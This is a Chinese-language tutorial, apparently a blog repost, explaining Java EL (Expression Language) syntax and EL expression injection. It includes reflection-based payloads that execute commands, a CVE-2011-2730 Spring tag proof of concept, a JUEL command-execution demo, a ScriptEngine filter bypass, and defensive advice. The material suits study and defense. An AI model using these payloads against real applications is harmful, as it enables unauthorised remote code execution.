淺析EL表達(dá)式注入漏洞

0x01 EL簡(jiǎn)介

EL(Expression Language) 是為了使JSP寫起來(lái)更加簡(jiǎn)單。表達(dá)式語(yǔ)言的靈感來(lái)自于 ECMAScript 和 XPath 表達(dá)式語(yǔ)言,它提供了在 JSP 中簡(jiǎn)化表達(dá)式的方法,讓Jsp的代碼更加簡(jiǎn)化。

EL表達(dá)式主要功能如下:

獲取數(shù)據(jù):EL表達(dá)式主要用于替換JSP頁(yè)面中的腳本表達(dá)式,以從各種類型的Web域中檢索Java對(duì)象、獲取數(shù)據(jù)(某個(gè)Web域中的對(duì)象,訪問(wèn)JavaBean的屬性、訪問(wèn)List集合、訪問(wèn)Map集合、訪問(wèn)數(shù)組);

執(zhí)行運(yùn)算:利用EL表達(dá)式可以在JSP頁(yè)面中執(zhí)行一些基本的關(guān)系運(yùn)算、邏輯運(yùn)算和算術(shù)運(yùn)算,以在JSP頁(yè)面中完成一些簡(jiǎn)單的邏輯運(yùn)算,例如${user==null};

獲取Web開(kāi)發(fā)常用對(duì)象:EL表達(dá)式定義了一些隱式對(duì)象,利用這些隱式對(duì)象,Web開(kāi)發(fā)人員可以很輕松獲得對(duì)Web常用對(duì)象的引用,從而獲得這些對(duì)象中的數(shù)據(jù);

調(diào)用Java方法:EL表達(dá)式允許用戶開(kāi)發(fā)自定義EL函數(shù),以在JSP頁(yè)面中通過(guò)EL表達(dá)式調(diào)用Java類的方法;

0x02 基本語(yǔ)法

EL語(yǔ)法

在JSP中訪問(wèn)模型對(duì)象是通過(guò)EL表達(dá)式的語(yǔ)法來(lái)表達(dá)。所有EL表達(dá)式的格式都是以${}表示。例如,${ userinfo}代表獲取變量userinfo的值。當(dāng)EL表達(dá)式中的變量不給定范圍時(shí),則默認(rèn)在page范圍查找,然后依次在request、session、application范圍查找。也可以用范圍作為前綴表示屬于哪個(gè)范圍的變量,例如:${ pageScope. userinfo}表示訪問(wèn)page范圍中的userinfo變量。

簡(jiǎn)單地說(shuō),使用EL表達(dá)式語(yǔ)法:${EL表達(dá)式}

其中,EL表達(dá)式和JSP代碼等價(jià)轉(zhuǎn)換。事實(shí)上,可以將EL表達(dá)式理解為一種簡(jiǎn)化的JSP代碼。

擴(kuò)展JSP代碼的寫法總結(jié):

JSP表達(dá)式:<%=變量或表達(dá)式>

向?yàn)g覽器輸出變量或表達(dá)式的計(jì)算結(jié)果。

JSP腳本:<%Java代碼%>

執(zhí)行java代碼的原理:翻譯到_jspService()方法中。

JSP聲明:<%!變量或方法%>

聲明jsp的成員變量或成員方法。

JSP注釋:<%!--JSP注釋--%>

用于注釋JSP代碼,不會(huì)翻譯到Java文件中,也不會(huì)執(zhí)行。

[ ]與.運(yùn)算符

EL表達(dá)式提供.和[]兩種運(yùn)算符來(lái)存取數(shù)據(jù)。

當(dāng)要存取的屬性名稱中包含一些特殊字符,如.或-等并非字母或數(shù)字的符號(hào),就一定要使用[]。例如:${user.My-Name}應(yīng)當(dāng)改為${user["My-Name"]}。

如果要?jiǎng)討B(tài)取值時(shí),就可以用[]來(lái)做,而.無(wú)法做到動(dòng)態(tài)取值。例如:${sessionScope.user[data]}中data 是一個(gè)變量。

變量

EL表達(dá)式存取變量數(shù)據(jù)的方法很簡(jiǎn)單,例如:${username}。它的意思是取出某一范圍中名稱為username的變量。因?yàn)槲覀儾](méi)有指定哪一個(gè)范圍的username,所以它會(huì)依序從Page、Request、Session、Application范圍查找。假如途中找到username,就直接回傳,不再繼續(xù)找下去,但是假如全部的范圍都沒(méi)有找到時(shí),就回傳""。EL表達(dá)式的屬性如下:

屬性范圍在EL中的名稱

PagePageScope

RequestRequestScope

SessionSessionScope

ApplicationApplicationScope

JSP表達(dá)式語(yǔ)言定義可在表達(dá)式中使用的以下文字:

文字文字的值

Booleantrue 和 false

Integer與 Java 類似??梢园魏握麛?shù),例如 24、-45、567

Floating Point與 Java 類似??梢园魏握幕蜇?fù)的浮點(diǎn)數(shù),例如 -1.8E-45、4.567

String任何由單引號(hào)或雙引號(hào)限定的字符串。對(duì)于單引號(hào)、雙引號(hào)和反斜杠,使用反斜杠字符作為轉(zhuǎn)義序列。必須注意,如果在字符串兩端使用雙引號(hào),則單引號(hào)不需要轉(zhuǎn)義。

Nullnull

操作符

JSP表達(dá)式語(yǔ)言提供以下操作符,其中大部分是Java中常用的操作符:

術(shù)語(yǔ)定義

算術(shù)型+、-(二元)、*、/、div、%、mod、-(一元)

邏輯型and、&&、or、雙管道符、!、not

關(guān)系型==、eq、!=、ne、<、lt、>、gt、<=、le、>=、ge??梢耘c其他值進(jìn)行比較,或與布爾型、字符串型、整型或浮點(diǎn)型文字進(jìn)行比較。

空empty 空操作符是前綴操作,可用于確定值是否為空。

條件型A ?B :C。根據(jù) A 賦值的結(jié)果來(lái)賦值 B 或 C。

隱式對(duì)象

JSP表達(dá)式語(yǔ)言定義了一組隱式對(duì)象,其中許多對(duì)象在 JSP scriplet 和表達(dá)式中可用:

術(shù)語(yǔ)定義

pageContextJSP頁(yè)的上下文,可以用于訪問(wèn) JSP 隱式對(duì)象,如請(qǐng)求、響應(yīng)、會(huì)話、輸出、servletContext 等。例如,${pageContext.response}為頁(yè)面的響應(yīng)對(duì)象賦值。

此外,還提供幾個(gè)隱式對(duì)象,允許對(duì)以下對(duì)象進(jìn)行簡(jiǎn)易訪問(wèn):

術(shù)語(yǔ)定義

param將請(qǐng)求參數(shù)名稱映射到單個(gè)字符串參數(shù)值(通過(guò)調(diào)用 ServletRequest.getParameter (String name) 獲得)。getParameter (String) 方法返回帶有特定名稱的參數(shù)。表達(dá)式${param . name}相當(dāng)于 request.getParameter (name)。

paramValues將請(qǐng)求參數(shù)名稱映射到一個(gè)數(shù)值數(shù)組(通過(guò)調(diào)用 ServletRequest.getParameter (String name) 獲得)。它與 param 隱式對(duì)象非常類似,但它檢索一個(gè)字符串?dāng)?shù)組而不是單個(gè)值。表達(dá)式?${paramvalues. name}?相當(dāng)于 request.getParamterValues(name)。

header將請(qǐng)求頭名稱映射到單個(gè)字符串頭值(通過(guò)調(diào)用 ServletRequest.getHeader(String name) 獲得)。表達(dá)式?${header. name}相當(dāng)于 request.getHeader(name)。

headerValues將請(qǐng)求頭名稱映射到一個(gè)數(shù)值數(shù)組(通過(guò)調(diào)用 ServletRequest.getHeaders(String) 獲得)。它與頭隱式對(duì)象非常類似。表達(dá)式${headerValues. name}相當(dāng)于 request.getHeaderValues(name)。

cookie將 cookie 名稱映射到單個(gè) cookie 對(duì)象。向服務(wù)器發(fā)出的客戶端請(qǐng)求可以獲得一個(gè)或多個(gè) cookie。表達(dá)式${cookie. name .value}返回帶有特定名稱的第一個(gè) cookie 值。如果請(qǐng)求包含多個(gè)同名的 cookie,則應(yīng)該使用${headerValues. name}表達(dá)式。

initParam將上下文初始化參數(shù)名稱映射到單個(gè)值(通過(guò)調(diào)用 ServletContext.getInitparameter(String name) 獲得)。

除了上述兩種類型的隱式對(duì)象之外,還有些對(duì)象允許訪問(wèn)多種范圍的變量,如 Web 上下文、會(huì)話、請(qǐng)求、頁(yè)面:

術(shù)語(yǔ)定義

pageScope將頁(yè)面范圍的變量名稱映射到其值。例如,EL 表達(dá)式可以使用${pageScope.objectName}訪問(wèn)一個(gè) JSP 中頁(yè)面范圍的對(duì)象,還可以使用${pageScope .objectName. attributeName}訪問(wèn)對(duì)象的屬性。

requestScope將請(qǐng)求范圍的變量名稱映射到其值。該對(duì)象允許訪問(wèn)請(qǐng)求對(duì)象的屬性。例如,EL 表達(dá)式可以使用${requestScope. objectName}訪問(wèn)一個(gè) JSP 請(qǐng)求范圍的對(duì)象,還可以使用${requestScope. objectName. attributeName}訪問(wèn)對(duì)象的屬性。

sessionScope將會(huì)話范圍的變量名稱映射到其值。該對(duì)象允許訪問(wèn)會(huì)話對(duì)象的屬性。例如:${sessionScope. name}

applicationScope將應(yīng)用程序范圍的變量名稱映射到其值。該隱式對(duì)象允許訪問(wèn)應(yīng)用程序范圍的對(duì)象。

pageContext對(duì)象

pageContext對(duì)象是JSP中pageContext對(duì)象的引用。通過(guò)pageContext對(duì)象,您可以訪問(wèn)request對(duì)象。比如,訪問(wèn)request對(duì)象傳入的查詢字符串,就像這樣:

${pageContext.request.queryString}

Scope對(duì)象

pageScope,requestScope,sessionScope,applicationScope變量用來(lái)訪問(wèn)存儲(chǔ)在各個(gè)作用域?qū)哟蔚淖兞俊?/p>

舉例來(lái)說(shuō),如果您需要顯式訪問(wèn)在applicationScope層的box變量,可以這樣來(lái)訪問(wèn):applicationScope.box。

<%pageContext.setAttribute("name","mi1k7ea_page");request.setAttribute("name","mi1k7ea_request");session.setAttribute("user","mi1k7ea_session");application.setAttribute("user","mi1k7ea_application");%>pageScope.name:${pageScope.name}</br>requestScope.name : ${requestScope.name}</br>sessionScope.user : ${sessionScope.user}</br>applicationScope.user : ${applicationScope.user}

param和paramValues對(duì)象

param和paramValues對(duì)象用來(lái)訪問(wèn)參數(shù)值,通過(guò)使用request.getParameter方法和request.getParameterValues方法。

舉例來(lái)說(shuō),訪問(wèn)一個(gè)名為order的參數(shù),可以這樣使用表達(dá)式:${param.order},或者${param["order"]}。

接下來(lái)的例子表明了如何訪問(wèn)request中的username參數(shù):

<%@pageimport="java.io.*,java.util.*"%><%Stringtitle="Accessing Request Param";%><html><head><title><%out.print(title);%></title></head><body><center><h1><%out.print(title);%></h1></center><divalign="center"><p>${param["username"]}</p></div></body></html>

param對(duì)象返回單一的字符串,而paramValues對(duì)象則返回一個(gè)字符串?dāng)?shù)組。

header和headerValues對(duì)象

header和headerValues對(duì)象用來(lái)訪問(wèn)信息頭,通過(guò)使用request.getHeader()方法和request.getHeaders()方法。

舉例來(lái)說(shuō),要訪問(wèn)一個(gè)名為user-agent的信息頭,可以這樣使用表達(dá)式:${header.user-agent},或者${header["user-agent"]}。

接下來(lái)的例子表明了如何訪問(wèn)user-agent信息頭:

<%@pageimport="java.io.*,java.util.*"%><%Stringtitle="User Agent Example";%><html><head><title><%out.print(title);%></title></head><body><center><h1><%out.print(title);%></h1></center><divalign="center"><p>${header["user-agent"]}</p></div></body></html>

運(yùn)行結(jié)果如下:

header對(duì)象返回單一值,而headerValues則返回一個(gè)字符串?dāng)?shù)組。

EL中的函數(shù)

EL允許您在表達(dá)式中使用函數(shù)。這些函數(shù)必須被定義在自定義標(biāo)簽庫(kù)中。函數(shù)的使用語(yǔ)法如下:

${ns:func(param1, param2, ...)}

ns指的是命名空間(namespace),func指的是函數(shù)的名稱,param1指的是第一個(gè)參數(shù),param2指的是第二個(gè)參數(shù),以此類推。比如,有函數(shù)fn:length,在JSTL庫(kù)中定義,可以像下面這樣來(lái)獲取一個(gè)字符串的長(zhǎng)度:

${fn:length("Get my length")}

要使用任何標(biāo)簽庫(kù)中的函數(shù),您需要將這些庫(kù)安裝在服務(wù)器中,然后使用<taglib>標(biāo)簽在JSP文件中包含這些庫(kù)。

EL表達(dá)式調(diào)用Java方法

看個(gè)例子即可。

先新建一個(gè)ELFunc類,其中定義的doSomething()函數(shù)用于給輸入的參數(shù)字符拼接".com"形成域名返回:

packageeltest;publicclassELFunc{publicstaticStringdoSomething(Stringstr){returnstr+".com";}}

接著在WEB-INF文件夾下(除lib和classess目錄外)新建test.tld文件,其中指定執(zhí)行的Java方法及其URI地址:

<?xml version="1.0" encoding="UTF-8"?><taglibversion="2.0"xmlns="http://java.sun.com/xml/ns/j2ee"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-jsptaglibrary_2_0.xsd"><tlib-version>1.0</tlib-version><short-name>ELFunc</short-name><uri>http://www.mi1k7ea.com/ELFunc</uri><function><name>doSomething</name><function-class>eltest.ELFunc</function-class><function-signature>java.lang.String doSomething(java.lang.String)</function-signature></function></taglib>

JSP文件中,先頭部導(dǎo)入taglib標(biāo)簽庫(kù),URI為test.tld中設(shè)置的URI地址,prefix為test.tld中設(shè)置的short-name,然后直接在EL表達(dá)式中使用類名:方法名()的形式來(lái)調(diào)用該類方法即可:

<%@tagliburi="http://www.mi1k7ea.com/ELFunc"prefix="ELFunc"%>${ELFunc:doSomething("mi1k7ea")}

0x03 JSP中啟動(dòng)/禁用EL表達(dá)式

全局禁用EL表達(dá)式

web.xml中進(jìn)入如下配置:

<jsp-config><jsp-property-group><url-pattern>*.jsp</url-pattern><el-ignored>true</el-ignored></jsp-property-group></jsp-config>

單個(gè)文件禁用EL表達(dá)式

在JSP文件中可以有如下定義:

<%@pageisELIgnored="true"%>

該語(yǔ)句表示是否禁用EL表達(dá)式,TRUE表示禁止,F(xiàn)ALSE表示不禁止。

JSP2.0中默認(rèn)的啟用EL表達(dá)式。

例如如下的JSP代碼禁用EL表達(dá)式:

<%@pageisELIgnored="true"%>${pageContext.request.queryString}

0x04 EL表達(dá)式注入漏洞

EL表達(dá)式注入漏洞和SpEL、OGNL等表達(dá)式注入漏洞是一樣的漏洞原理的,即表達(dá)式外部可控導(dǎo)致攻擊者注入惡意表達(dá)式實(shí)現(xiàn)任意代碼執(zhí)行。

一般的,EL表達(dá)式注入漏洞的外部可控點(diǎn)入口都是在Java程序代碼中,即Java程序中的EL表達(dá)式內(nèi)容全部或部分是從外部獲取的。

通用PoC

//對(duì)應(yīng)于JSP頁(yè)面中的pageContext對(duì)象(注意:取的是pageContext對(duì)象)

${pageContext}

//獲取Web路徑

${pageContext.getSession().getServletContext().getClassLoader().getResource("")}

//文件頭參數(shù)

${header}

//獲取webRoot

${applicationScope}

//執(zhí)行命令

${pageContext.request.getSession().setAttribute("a",pageContext.request.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("calc").getInputStream())}

比如我們?cè)贘ava程序中可以控制輸入EL表達(dá)式如下:

${pageContext.setAttribute("a","".getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke("".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"calc.exe"))}

如果該EL表達(dá)式直接在JSP頁(yè)面中執(zhí)行,則觸發(fā)任意代碼執(zhí)行漏洞:

但是在實(shí)際場(chǎng)景中,是幾乎沒(méi)有也無(wú)法直接從外部控制JSP頁(yè)面中的EL表達(dá)式的。而目前已知的EL表達(dá)式注入漏洞都是框架層面服務(wù)端執(zhí)行的EL表達(dá)式外部可控導(dǎo)致的。

CVE-2011-2730

命令執(zhí)行PoC如下:

<spring:messagetext="${/"/".getClass().forName(/"java.lang.Runtime/").getMethod(/"getRuntime/",null).invoke(null,null).exec(/"calc/",null).toString()}"></spring:message>

再比如:

<%@tagliburi="http://www.springframework.org/tags"prefix="spring"%><spring:messagetext="${param.a}"></spring:message>

訪問(wèn)http://localhost/XXX.jsp?a=$](https://links.jianshu.com/go?to=http%3A%2F%2Flocalhost%2FXXX.jsp%3Fa%3D%24){applicationScope}。

容器第一次執(zhí)行EL表達(dá)式${param.a}獲得了我們輸入的${applicationScope},然后Spring標(biāo)簽獲取容器的EL表達(dá)式求值對(duì)象,把${applicationScope}再次執(zhí)行掉,形成了漏洞。

Wooyun案例

參考Wooyun鏡像上的案例:

搜狗某系統(tǒng)存在遠(yuǎn)程EL表達(dá)式注入漏洞(命令執(zhí)行)

工商銀行某系統(tǒng)存在遠(yuǎn)程EL表達(dá)式注入漏洞(命令執(zhí)行)

JUEL示例

下面我們直接看下在Java代碼中EL表達(dá)式注入的場(chǎng)景是怎么樣的。

EL曾經(jīng)是JSTL的一部分。然后,EL進(jìn)入了JSP 2.0標(biāo)準(zhǔn)?,F(xiàn)在,盡管是JSP 2.1的一部分,但EL API已被分離到包javax.el中, 并且已刪除了對(duì)核心JSP類的所有依賴關(guān)系。換句話說(shuō):EL已準(zhǔn)備好在非JSP應(yīng)用程序中使用!

也就是說(shuō),現(xiàn)在EL表達(dá)式所依賴的包javax.el等都在JUEL相關(guān)的jar包中。

JUEL(Java Unified Expression Language)是統(tǒng)一表達(dá)語(yǔ)言輕量而高效級(jí)的實(shí)現(xiàn),具有高性能,插件式緩存,小體積,支持方法調(diào)用和多參數(shù)調(diào)用,可插拔多種特性。

更多參考官網(wǎng):http://juel.sourceforge.net/

需要的jar包:juel-api-2.2.7、juel-spi-2.2.7、juel-impl-2.2.7。

Test.java,利用反射調(diào)用Runtime類方法實(shí)現(xiàn)命令執(zhí)行:

importde.odysseus.el.ExpressionFactoryImpl;importde.odysseus.el.util.SimpleContext;importjavax.el.ExpressionFactory;importjavax.el.ValueExpression;publicclassTest{publicstaticvoidmain(String[]args){ExpressionFactoryexpressionFactory=newExpressionFactoryImpl();SimpleContextsimpleContext=newSimpleContext();// failed// String exp = "${''.getClass().forName('java.lang.Runtime').getRuntime().exec('calc')}";// okStringexp="${''.getClass().forName('java.lang.Runtime').getMethod('exec',''.getClass()).invoke(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null),'calc.exe')}";ValueExpressionvalueExpression=expressionFactory.createValueExpression(simpleContext,exp,String.class);System.out.println(valueExpression.getValue(simpleContext));}}

運(yùn)行即觸發(fā):

0x05 繞過(guò)方法

這里針對(duì)前面在Java代碼中注入EL表達(dá)式的例子來(lái)演示。其實(shí)繞過(guò)方法和SpEL表達(dá)式注入是一樣的。

利用反射機(jī)制繞過(guò)

即前面Demo的PoC,注意一點(diǎn)的就是這里不支持用字符串拼接的方式繞過(guò)關(guān)鍵字過(guò)濾。

利用ScriptEngine調(diào)用JS引擎繞過(guò)

同SpEL注入中講到的:

${''.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("java.lang.Runtime.getRuntime().exec('calc')")}

0x06 防御方法

盡量不使用外部輸入的內(nèi)容作為EL表達(dá)式內(nèi)容;

若使用,則嚴(yán)格過(guò)濾EL表達(dá)式注入漏洞的payload關(guān)鍵字;

如果是排查Java程序中JUEL相關(guān)代碼,則搜索如下關(guān)鍵類方法:

javax.el.ExpressionFactory.createValueExpression()

javax.el.ValueExpression.getValue()

0x07 參考

JSP 表達(dá)式語(yǔ)言

EL表達(dá)式調(diào)用java方法

JAVA WEB EL表達(dá)式注入

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡(jiǎn)書系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容